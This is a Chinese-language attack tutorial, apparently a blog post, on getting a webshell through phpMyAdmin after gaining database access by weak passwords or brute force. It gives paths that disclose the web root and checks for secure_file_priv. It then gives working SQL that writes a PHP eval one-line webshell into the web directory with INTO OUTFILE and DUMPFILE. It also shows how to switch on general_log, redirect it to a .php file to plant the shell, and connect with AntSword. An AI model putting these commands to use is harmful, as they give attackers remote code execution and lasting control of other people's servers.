PhpMyadmin_Getshell

phpmyadmin_getshell

  • 当发现存有phpmyadmin目录时,进而通过弱口令或者暴力破解进入数据库之后,如何getshell?

  • 写入WebShell主要条件:

    • Root数据库用户(root权限)
    • 网站绝对路径(确定有写入权限)
    • magic_quotes_gpc:Off(关闭)
  • 写入WebShell其它条件:

    • magic_quotes_gpc:开启时,会对’单引号进行转义,使其变成“\”反斜杠。
    • secure_file_priv:此配置项用来完成对数据导入导出的限制,如允许导入导出到指定目录。
    • file_priv:file_priv权限允许你用load_file、into outfile读和写服务器上的文件,任何被授予这个权限的用户都能读和写服务器的任何文件。

0x01 into outfile

  • 0x001前提条件:

    • 1.Root数据库用户(root权限)

    • 2.网站绝对路径(确定有写入权限)

      1
      2
      3
      4
      5
      暴绝对路径
      phpMyAdmin/libraries/select_lang.lib.php
      phpMyAdmin/darkblue_orange/layout.inc.php
      phpMyAdmin/index.php?lang[]=1
      phpmyadmin/themes/darkblue_orange/layout.inc.php
    • 3.查看能否自定义导入导出数据到任意目录的权限

      1
      2
      3
      4
      5
      6
      7
      8
      查看能否自定义导出文件目录的权限
      show global variables like "%secure%"; //查询secure_file_priv配置
      secure_file_prive=null //不允许导入导出数据到目录
      secure_file_priv=c:\sec //允许导入导出数据到指定目录
      secure_file_priv='' //允许导入导出数据到任意目录
      secure_file_priv="/" //允许导入导出数据到任意目录

      注:在my.ini、my.cnf、mysqld.cnf文件中找到secure_file_prive并将其值设置为""或"/",重启MySQL服务!
  • 0x002 导入一句话shell

    1
    2
    3
    select '<?php @eval($_POST[pass]);?>' into outfile 'c:/xampp/htdocs/1.php';  
    select '<?php @eval($_POST[pass]);?>' into outfile 'c:\\xampp\\htdocs\\2.php';
    select '<?php @eval($_POST[pass]);?>' into dumpfile 'c:\\xampp\\htdocs\\3.php';
  • 0x003 测试写入phpinfo文件

    • select ‘‘ into dumpfile ‘c:\xampp\htdocs\phpinfo.php’;

      K9a4v8.png

      K9di5R.png

0x02 利用日志getshell

  • 0x001 前提条件:

    • 要求mysql的版本为5.0以上,因为5.0以上会创建日志文件
    • 要求对日志有可读可写的权限
  • 0x002 原理

    • phpmyadmin有一个记录日志的文件,但是一般情况下会关闭,开启日志记录,然后设置日志记录名称为.php,随便执行sql语句,只要包括一句话木马就会被写入到日志中去,然后就可以连接getshell
  • 0x003 日志备份获取shell

    • show global variables like “%genera%”;//查询general_log配置
      K9sxYQ.png

    • 当前的状态是off,需要手动开启日志,输入以下命令:

      • set global general_log=’on’;

      • 也可以修改配置文件永久修改:

        1
        2
        3
        4
        vim /etc/mysql/my.cnf
        //在 [mysqld] 后面添加
        general_log_file = /var/log/mysql/query.log
        general_log = on
    • 然后再次查询general_log配置已变成ON,设置Webshell日志文件保存路径,Mysql会判断日志文件是否存在,如果不存在则会自动创建。输入以下命令:

      • SET global general_log_file=’c:/xampp/htdocs/rizhi.php’;
    • 查看日志文件保存路径,对应的就会生成rizhi.php文件

      K9gFmt.png

    • 一句话写入日志文件

      K9oWjO.png

    • 关闭 general_log模式

      • set global general_log=’off’;
    • 使用蚁剑连接

      K9o5HH.png